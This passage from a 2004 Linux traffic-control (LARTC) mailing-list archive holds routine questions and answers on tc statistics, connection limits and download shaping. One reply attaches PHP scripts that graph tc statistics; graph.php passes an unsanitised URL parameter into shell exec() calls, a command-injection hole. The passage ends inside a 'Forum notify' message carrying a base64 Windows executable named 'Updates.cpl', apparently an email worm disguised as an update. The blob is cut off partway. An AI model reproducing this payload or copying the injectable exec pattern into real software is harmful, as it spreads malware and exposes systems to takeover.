same time. So, i want to limit that host to be able to open no more then =
30 TCP=20
connections at once, so he wouldnt hurt the other users.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cristiano =
Soares</FONT></DIV></BODY></HTML>

------=_NextPart_000_000C_01C4BA47.E3C74BF0--



From alg0@iit.demokritos.gr  Mon Oct 25 09:26:09 2004
From: alg0@iit.demokritos.gr (Antonios Chalkiopoulos)
Date: Mon, 25 Oct 2004 11:26:09 +0300
Subject: [LARTC] Questions about qdisc statistics
Message-ID: <200410251126.09364.alg0@iit.demokritos.gr>

--Boundary-00=_hiLfBiibG9R6rAq
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

>Can I use round robin database and mrtg tool to generate html files at linux 
>routers and call them from windows PC ? 

>If it is impossible , can I use snmp to retrieve data from linux router at 
>windows PC (snmp server at linux and snmp client at windows , if i don't 
>misunderstand ) and use round robin database and mrtg tool to generate html 
>pages at windows ?    

You can do both although i haven't managed to compile succesfully the QoS snmp 
extensions with net-snmp although lots of people have been succesfull at 
that.

As far as round robin databases and mrtg (rrdtool is even better than mrtg) 
here is a script to help you. Just run:

php tc.phps     <-- In your linux QoS router, and
cp graph.php /srv/www/htdocs/ <-- In the apache htdocs of your linux QoS 
router


--Boundary-00=_hiLfBiibG9R6rAq
Content-Type: application/x-php;
  name="graph.php"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="graph.php"

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<?

###################################################
#!/usr/bin/php					  #
# Graph.phps					  #
# v0.02 --> 23 Sept 2004			  #
# v0.03 --> 30 Sept 2004 			  #
###################################################

################# FUNCTION createHtmlList(); #########################
function createHtmlList($probe)
{
	global $qdisc;
	for($i=0;$i<count($probe);$i++)
	{
 		$line=preg_split("/[\s,]+/",$probe[$i]);
		if ( ($line[0] == "qdisc") || ($line[0] == "class") ) 
		{
        	     	$qdisc=$line[1] . "." . $line[2];
			$qdisc=ereg_replace(":", "_", $qdisc);
			echo "<ul>";
			echo "<li>";
			echo "<a href=\"?disc=$qdisc\">$qdisc</a><br />";
			echo "</ul>";
			
		}
		if ( strstr($line[1],"DP:") )
		{
			$qdisc=$line[1];
			$qdisc=ereg_replace(":", "_", $qdisc);
			echo "<ul>";
			echo "<li>";
			echo "<a href=\"?disc=$qdisc\">$qdisc</a><br />";
			echo "</ul>";
		}
	}
}
########### end.

if($_GET['disc']=="")
{
	$DEV=eth0;
	$TC="/usr/sbin/tc";
	exec("$TC qdisc ls dev $DEV", $tc_qdiscs);
	exec("$TC -s class show dev $DEV", $tc_classes);
	createHtmlList($tc_qdiscs);
	createHtmlList($tc_classes);

}
else
{
	?>
		<META HTTP-EQUIV="Refresh" CONTENT="2">
		<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
		<a href="?">Back</a>
		<?
		$disc=$_GET['disc'];
	$filename="$disc.rrd";
	$start="now-10m";
	exec("rrdtool graph a.gif --start $start DEF:mybytes=$filename:bytes:AVERAGE LINE1:mybytes#FF0000:bytes GPRINT:mybytes:MAX:%lf%s\g -w 600 -h 200 -t \"Bytes for $disc\" ");
	exec("rrdtool graph b.gif --start $start DEF:mypackets=$filename:packets:AVERAGE LINE1:mypackets#755000:packets GPRINT:mypackets:MAX:%lf%s\g -w 600 -h 200 -t \"Packets for $disc\"");
	exec("rrdtool graph c.gif --start $start DEF:mydrop=$filename:dropped:AVERAGE AREA:mydrop#FFF000:packets GPRINT:mydrop:MAX:%lf%s\g -w 600 -h 200 -t \"Dropped for $disc\"");
	?>
		<br />
		<img src="a.gif">
		<br />
		<img src="b.gif">
		<br />
		<img src="c.gif">
		<br />
		<?
}
?>
</body>
</html>

--Boundary-00=_hiLfBiibG9R6rAq
Content-Type: text/x-c++src;
  charset="us-ascii";
  name="tc.phps"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="tc.phps"

#
# Version 0.01 - 20 Sept 2004
# Version 0.02 - 20 Sept 2004 - 17:21
# Version 0.03 - 22 Sept 2004 - 18:03 --> classes & qdiscs work perfectly
# Version 0.04 - 23 Sept 2004 - 16:00 --> Added checks for tc , rrdtool
# Version 0.05 - 30 Sept 2004 - 12:12 --> GRED virtual channels are properly parsed.

<?

#Variables
$DEV=eth0;
$TC="/usr/sbin/tc";
$qdisc;
$counter=1;
set_time_limit(0);

checkTools();

createFiles("$TC qdisc ls dev $DEV");
createFiles("$TC -s class show dev $DEV");
sleep(3);

for($ct=0;$ct<3600;$ct++)
{
	$counter =1;
	updateRRD("$TC -s qdisc ls dev $DEV");
	updateRRD("$TC -s class show dev $DEV");
	sleep(2);
}

################ FUNTION check_availability_of_tools(); ################
function checkTools() 
{
	exec("which tc",$tc_tool);
	if (!file_exists($tc_tool[0]))
	{
		echo "\n\n\n\n";
		echo "iproute2 is not installed or not in the path.\n";
		echo "Download from http://developer.osdl.org/dev/iproute2/ \n"; 
		echo "\n\n\n\n";
		exit ("iproute2 not installed in this computer\n");
	}

	exec("which rrdtool",$rrd_tool);
	if (!file_exists($rrd_tool[0]))
	{
		echo "\n\n\n\n";
		echo "Download and install rrdtool from \n";
		echo "http://people.ee.ethz.ch/~oetiker/webtools/rrdtool//index.html \n";
		echo "\n\n\n\n";
		exit ("rrdtool not installed in this computer\n");
	}

} ## end function

####################### FUNTION createFiles(); #########################
function createFiles($tc_command)
{
	global $qdisc;
	global $counter;

	# 1. Execute tc command and store all output lines to --> $tc_lines
	exec($tc_command,$tc_lines);

	# 2. Go through every line of the tc output
	for($i=0;$i<count($tc_lines);$i++) 
	{
		# 3. If line is not empty, continue...
		if($tc_lines[$i]!="")
		{

			$line=preg_split("/[\s,]+/",$tc_lines[$i]);

			# 4. If first token each line contains 'DP:' it is a GRED virtual channel
			if ( strstr($line[1],"DP:") ) {
				$filename=$line[1];
				$filename=ereg_replace(":", "_", $filename);
				echo "Filename at $counter is $filename\n";
				$qdisc[$counter]=$filename;
				$counter++;
				if (!file_exists("$filename.rrd")) {
					echo "Creating new file ... ... $filename.rrd\n";
					passthru("rrdtool create $filename.rrd --step 2 DS:bytes:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200 DS:packets:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200 DS:dropped:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200");
				}
			}

			# 5. If first token of each line contains 'qdisc' or 'class' it is something of interest
			if ( ($line[0] == "qdisc") || ($line[0] == "class") ) {
				$filename=$line[1] . "." . $line[2];
				$filename=ereg_replace(":", "_", $filename);
				echo "Filename at $counter is $filename\n";
				$qdisc[$counter]=$filename;
				$counter++;
				if (!file_exists("$filename.rrd")) {
					echo "Creating new file ... ... $filename.rrd\n";
					passthru("rrdtool create $filename.rrd --step 2 DS:bytes:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200 DS:packets:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200 DS:dropped:COUNTER:600:U:U RRA:AVERAGE:0.5:1:1200");
				}
			}
		}
	}
} ## end of function

####################### FUNCTION updateRRD(); ##########################
function updateRRD($tc_command) 
{
	global $qdisc;
	global $counter;
	$dp_counter=0;

	# 1. Execute tc command and store all output lines to --> $tc_lines
	$tc_lines=null;
	exec($tc_command,$tc_lines);
	# 2. Go through every line of the tc output
	for($i=0;$i<count($tc_lines);$i++)
	{
		# 3. If line is not empty, continue...
		if($tc_lines[$i]!="")
		{
			# 4. If a line contains the word 'bytes' it is interesting one!
			if (preg_match("/(bytes)/",$tc_lines[$i]) )
			{

				# 5. Split tc_line to line tokens
				$token=preg_split("/[\s,]+/",$tc_lines[$i]);

				# 6. If line contains word 'eqma' be careful because it is definetly a GRED virtual queue
				# example :
				#
				# qdisc gred 8066:
				#   DP:1 (prio 8) Average Queue 0b Measured Queue 0b
				#   Packet drops: 0 (forced 0 early 0)
				#   Packet totals: 6787 (bytes 734738)  ewma 3 Plog 25 Scell_log 12
				#   DP:2 (prio 8) Average Queue 0b Measured Queue 0b
				#   Packet drops: 0 (forced 0 early 0)
				#   Packet totals: 0 (bytes 0)  ewma 3 Plog 22 Scell_log 12
				#
				# To extract filename, look at first token of line tc_lines at i-2 
				if (preg_match("/(ewma)/",$tc_lines[$i]) )
				{
					$dp_counter++;
					$counter++;

					$filename=$qdisc[$counter].".rrd";
#echo " For filename= $filename total_packets $token[3] ... bytes_total $token[5]\n";
#echo " 1--> $token[1] 2--> $token[2] 3--> $token[3] 4--> $token[4] 5--> $token[5] \n";
#1--> Packet 2--> totals: 3--> 0 4--> (bytes 5--> 0)	

					$pkts=$token[3];
# remove unwanted ')' at the end of the string
					$temp=strrchr($token[5], ")");
					$sent=substr($token[5],0, -strlen($temp));

					# RED - GRED packets!!
					$red_line=$tc_lines[$i-1];
					$red_token=preg_split("/[\s,]+/",$red_line);
					echo "For filename = $filename we have packets dropped: $red_token[3] . $red_token[5] where dropped and $red_token[7] were early dropped\n";

					$drops=1; #to-do: to count drops look at line @ i-1 token 3
					passthru("rrdtool update $filename N:$sent:$pkts:$drops");
					echo("rrdtool update $filename N:$sent:$pkts:$drops\n");

			} else
			{

				$sent=$token[2];
				$pkts=$token[4];
				$drops=$token[7];
				if ( $dp_counter != 0 ) {
					$filename=$qdisc[$counter-$dp_counter].".rrd";
					$dp_counter=0;
				} else
				{
					$filename=$qdisc[$counter].".rrd";
				}
				passthru("rrdtool update $filename N:$sent:$pkts:$drops");
				echo "passthru rrdtool update $filename N:$sent:$pkts:$drops\n";
				$counter++;
			}
		}
	}
}
} ## end function

?>


# qdisc gred 805f:
# DP:1 (prio 8) Average Queue 0b Measured Queue 0b
#         Packet drops: 0 (forced 0 early 0)
#         Packet totals: 0 (bytes 0)  ewma 3 Plog 25 Scell_log 12
# DP:2 (prio 8) Average Queue 0b Measured Queue 0b
#         Packet drops: 0 (forced 0 early 0)
#         Packet totals: 0 (bytes 0)  ewma 3 Plog 22 Scell_log 12
# DP:3 (prio 8) Average Queue 36110b Measured Queue 35428b
#         Packet drops: 517 (forced 0 early 517)
#         Packet totals: 14128 (bytes 14721376)  ewma 3 Plog 20 Scell_log 12
# Sent 14182662 bytes 13611 pkts (dropped 517, overlimits 517 requeues 0)
# backlog 35428b 34p
#qdisc red 4: limit 600000b min 30000b max 60000b
# Sent 5285024 bytes 5072 pkts (dropped 42031, overlimits 42031 requeues 0)
# backlog 63562b 61p
#  marked 0 early 42031 pdrop 0 other 0
#qdisc htb 3: r2q 10 default 12 direct_packets_stat 68
# Sent 44076642 bytes 42301 pkts (dropped 42548, overlimits 89997 requeues 0)
# backlog 1043p
#qdisc dsmark 1: indices 0x0040 set_tc_index
# Sent 44083936 bytes 42308 pkts (dropped 42548, overlimits 0 requeues 0)
# backlog 1043p


--Boundary-00=_hiLfBiibG9R6rAq--

From webmaster@familie-ott.info  Mon Oct 25 09:36:41 2004
From: webmaster@familie-ott.info (Stephan M. Ott)
Date: Mon, 25 Oct 2004 10:36:41 +0200
Subject: AW: [LARTC] Re:
In-Reply-To: <dhjdbshdreqakskaecu@mailman.ds9a.nl>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAfyawrZYOp0a9QaD0mY/fCsKAAAAQAAAAlo4lDpzr1UqzkXvfMm08sAEAAAAA@familie-ott.info>

This is a multi-part message in MIME format.

------=_NextPart_000_000A_01C4BA7E.8E2F80E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Isn=92t it possible to asskick this =84Wilson=93 off the list ?
WTF is the sense of posting this shit to a list with mostly advanced
users, which will never open up these shitty attachments ?
=20
-----Urspr=FCngliche Nachricht-----
Von: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] Im
Auftrag von Wilson
Gesendet: Dienstag, 12. April 2005 03:32
An: LARTC
Betreff: [LARTC] Re:
=20
>Lovely animals



------=_NextPart_000_000A_01C4BA7E.8E2F80E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C4BA7E.83CD1E00">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:HyphenationZone>21</w:HyphenationZone>
  <w:EnvelopeVis/>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:1627421319 -2147483648 8 0 66047 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailFormatvorlage17
	{mso-style-type:personal-reply;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 70.85pt 2.0cm 70.85pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Normale Tabelle";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DDE link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:35.4pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy;mso-ansi-language:=
EN-GB'>Isn&#8217;t
it possible to asskick this &#8222;Wilson&#8220; off the list =
?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy;mso-ansi-language:=
EN-GB'>WTF
is the sense of posting this shit to a list with mostly advanced users, =
which
will never open up these shitty attachments =
?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy;mso-ansi-language:=
EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:35.4pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Urspr&uuml;ngliche
Nachricht-----<br>
<b><span style=3D'font-weight:bold'>Von:</span></b> =
lartc-admin@mailman.ds9a.nl
[mailto:lartc-admin@mailman.ds9a.nl] <b><span =
style=3D'font-weight:bold'>Im
Auftrag von </span></b>Wilson<br>
<b><span style=3D'font-weight:bold'>Gesendet:</span></b> Dienstag, 12. =
April 2005
03:32<br>
<b><span style=3D'font-weight:bold'>An:</span></b> LARTC<br>
<b><span style=3D'font-weight:bold'>Betreff:</span></b> [LARTC] =
Re:</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:35.4pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:0cm;margin-right:0cm;margin-bottom:
12.0pt;margin-left:35.4pt'><font size=3D3 face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'>&gt;Lovely animals<br =
style=3D'mso-special-character:
line-break'>
<![if !supportLineBreakNewLine]><br =
style=3D'mso-special-character:line-break'>
<![endif]><o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_000A_01C4BA7E.8E2F80E0--


From stef.coene@docum.org  Mon Oct 25 11:20:55 2004
From: stef.coene@docum.org (Stef Coene)
Date: Mon, 25 Oct 2004 12:20:55 +0200
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <e892b9d104102422467b52ded4@mail.gmail.com>
References: <e892b9d104102422467b52ded4@mail.gmail.com>
Message-ID: <200410251220.55436.stef.coene@docum.org>

On Monday 25 October 2004 07:46, Rinto Exandy wrote:
> Dear All,
>
> I want to limit traffic that use by my client to download files
> directly from browser, I have already limit the traffic for the same
> purpose to ftp connection. But I don't want to limit traffic that using f=
or
> browsing the web. Can I do this with IMQ/HTB or any other method to
> make this happen.
You can do this if you use squid as a (transparent) proxy server.  Squid kn=
ows=20
the file size and if you set up  delay pools, you can limit the big=20
downloads.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From Ramasubramaniyan Srinivasan <s.ramasubramaniyan@gmail.com>  Mon Oct 25 11:28:45 2004
From: Ramasubramaniyan Srinivasan <s.ramasubramaniyan@gmail.com> (Ramasubramaniyan Srinivasan)
Date: Mon, 25 Oct 2004 15:58:45 +0530
Subject: [LARTC] Questions about qdisc statistics
In-Reply-To: <200410251126.09364.alg0@iit.demokritos.gr>
References: <200410251126.09364.alg0@iit.demokritos.gr>
Message-ID: <24a6e47704102503289eb53ef@mail.gmail.com>

Dear all

I am new to SNMP and tc. I am looking to get per interface statistics.
I know similar questions have been posed, but most of these by people
more advanced than where I am. Please suggest me some places where I
can learn about statistics gathering for traffic control using either
C based coding on Linux or with snmp (It will be great help if someone
can suggest a good snmp on linux tutorial to learn it from)

Looking forward to your replies. 

thanks and regards
ram


On Mon, 25 Oct 2004 11:26:09 +0300, Antonios Chalkiopoulos
<alg0@iit.demokritos.gr> wrote:
> >Can I use round robin database and mrtg tool to generate html files at linux
> >routers and call them from windows PC ?
> 
> >If it is impossible , can I use snmp to retrieve data from linux router at
> >windows PC (snmp server at linux and snmp client at windows , if i don't
> >misunderstand ) and use round robin database and mrtg tool to generate html
> >pages at windows ?
> 
> You can do both although i haven't managed to compile succesfully the QoS snmp
> extensions with net-snmp although lots of people have been succesfull at
> that.
> 
> As far as round robin databases and mrtg (rrdtool is even better than mrtg)
> here is a script to help you. Just run:
> 
> php tc.phps     <-- In your linux QoS router, and
> cp graph.php /srv/www/htdocs/ <-- In the apache htdocs of your linux QoS
> router
> 
> 
> 


-- 
regards
Sriram
D-Link India Ltd.

From stef.coene@docum.org  Mon Oct 25 11:45:59 2004
From: stef.coene@docum.org (Stef Coene)
Date: Mon, 25 Oct 2004 12:45:59 +0200
Subject: [Fwd: [LARTC] up and down shaping based on IP]
In-Reply-To: <4177FA57.4070203@wp.pl>
References: <4177615A.8050305@wp.pl> <200410212126.20740.stef.coene@docum.org> <4177FA57.4070203@wp.pl>
Message-ID: <200410251245.59207.stef.coene@docum.org>

On Thursday 21 October 2004 20:05, Hariett Jones wrote:
> do you mean that i should not use two realtek cards ?
> can i use realtek and some other ? like AMDtek AN983b ?
Yes.

> (i understand that nic is ethernet card)
Network Interface Card

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From rio@martin.mu  Mon Oct 25 18:45:14 2004
From: rio@martin.mu (Rio Martin.)
Date: Mon, 25 Oct 2004 17:45:14 +0000
Subject: [LARTC] limit number of TCP connections.
In-Reply-To: <000f01c4ba58$a7df3c90$5c9cfea9@stillnicks>
References: <000f01c4ba58$a7df3c90$5c9cfea9@stillnicks>
Message-ID: <200410251745.14135.rio@martin.mu>

On 25 October 2004 am 06:05, Cristiano Soares wrote:
> Hi all. I have a simple question. Is that a way to limit the number os TCP
> or UDP connection of a single HOST in my network? For exemple:
>     I have a host with IP 192.168.1.202 and he is using edonkey, Kazaa, and
> Bittorrent at the same time, and he also is infected by a virus that opens
> more than 500 TCP ports at the same time. So, i want to limit that host to
> be able to open no more then 30 TCP connections at once, so he wouldnt hurt
> the other users.
> Thanks in advance,
> Cristiano Soares


Try connlimit patches from Iptables POM
www.netfilter.org

- Rio.Martin -

From andy.furniss@dsl.pipex.com  Mon Oct 25 12:13:28 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Mon, 25 Oct 2004 12:13:28 +0100
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <e892b9d104102422467b52ded4@mail.gmail.com>
References: <e892b9d104102422467b52ded4@mail.gmail.com>
Message-ID: <417CDFD8.8070302@dsl.pipex.com>

Rinto Exandy wrote:
> Dear All,
> 
> I want to limit traffic that use by my client to download files
> directly from browser, I have already limit the traffic for the same
> purpose to ftp connection. But I don't want to limit traffic that using for
> browsing the web. Can I do this with IMQ/HTB or any other method to
> make this happen.
>

There is a patch at www.netfilter.org called connbytes, you could use 
this to seperate big http downloads from the smaller ones.


> Thank You.
> Sorry my English is bad.
> 
> RInto Exandi
> _______________________________________________
>


From hareram@sol.net.in  Mon Oct 25 15:05:35 2004
From: hareram@sol.net.in (Hareram)
Date: Mon, 25 Oct 2004 09:05:35 -0500
Subject: [LARTC] Forum notify
Message-ID: <diasendamtpcjojftyg@mailman.ds9a.nl>

----------qqaowtziwfeilnxiljdm
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
Attach tells everything.<br><br>

<br>
</body></html>

----------qqaowtziwfeilnxiljdm
Content-Type: application/octet-stream; name="Updates.cpl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Updates.cpl"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDACdK9kAAAAAAAAAAAOAADiELAQUMAAYAAAAC
AAAAAAAAIBEAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAMKEAAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABQQAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAABwEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAAAYAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAEAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAADCVAAAADAAAMJUAAAABgAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAFxjamVjdG9yLmV4ZQAAAFAQAAAAAAAA
AAAAAOgQAABwEAAAaBAAAAAAAAAAAAAABhEAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJwQ
AACqEAAAuBAAANAQAADcEAAAAAAAAPYQAAAAAAAAnBAAAKoQAAC4EAAA0BAAANwQAAAAAAAA
9hAAAAAAAAB1c2VyMzIuZGxsAAAaAENsb3NlSGFuZGxlADAAQ3JlYXRlRmlsZUEAYgFHZXRX
aW5kb3dzRGlyZWN0b3J5QQAAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAAa2VybmVsMzIuZGxs
AABnAFNoZWxsRXhlY3V0ZUEAc2hlbGwzMi5kbGwAAAAAAAAAAAAAAAAAAABVi+yDfQwBdUho
AAQAAGgAEgAQ6KIAAAAzwmgFEAAQaAASABDonQAAAEFoABIAEOgmAAAAC8B0GffQagBqAGoA
aAASABBoABAAEGoA6HsAAAC4AQAAAMnCDABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI
6DkAAACQiUX4QHQjM9C+ADAAEK2SagCNRfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIE
AMz/JXAQABD/JXQQABD/JXgQABD/JXwQABD/JYAQABD/JYgQABAAAAAAAAAAAAAAAAAAAAAQ
AAAgAAAALzE7MUAxSzFhMWYx0DHWMdwx4jHoMe4xABAAAAwAAAClMQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvlQAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA
AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABQRQAATAEEAPz99UAAAAAA
AAAAAOAADwELAQUMAFAAAAAQAAAAgAAAINQAAACQAAAA4AAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAAL1AAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAAADgAABQAgAAAPAAAAIFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAIAAAAAQAAAAAAAAAAIAAAAAAAAAAAAAAAAAAIAA
AOBVUFgxAAAAAABQAAAAkAAAAEYAAAACAAAAAAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAA
AOAAAAAEAAAASAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAAgUAAADwAAACBQAAAEwAAAAA
AAAAAAAAAAAAACAAAOAAAAAxLjI1AFVQWCEMCQIKgEHcwyINFRlSuAAAHkQAAACSAAAmAAAb
////ywD6Y5o/khKLz35WEo9D+TqD6jumDIuAPvA46N/+//+u2vqFmkCLG1A/jNE/WP4/QPw/
XPIL9i0aj/7j7v/Y7vloBTs/+CZjm9mLjtUem/z6K7X223cqAZIFQPIC/NKOmgUADd9++4MZ
O5iAzvrqNc/6jlvYBj5YhBnft+fcWIBFEAEw/o4y2A08f/N171iG0ikShBVLO0SG+kD7D+7N
PfJzBUCGgI6yW0OADx0P22YO7I6GW0bfh4B3+Nae221qmhkr6qXI7Eex7//7/vtD+BmmeLj+
/mOTAWgc2iK+lbv3AUj+sxopUYQ/8PwaDvtHtt/dNAMvCTsKewOvVR7+Uz+y/+7dVPwhz/eO
KIc7mkqEr19AAlcf3EJGnv+OOOKlLbTv7qx6jsGdf5rA/dINLS+6wcqtDK/N24PRRUDt/38W
eERjFwvarBqK8jsGesB/rMkJhn/Dl/77wHqsjp/2Us/4Vo5oSf//Vv6LBlZbOwfzLsmmfP/J
LzsOe0aZARZvBv+P0NqiZLx9pBqb+T+b6GXk5UPzw////+TgQ//4WuRXw334+Q9/+IQPeezl
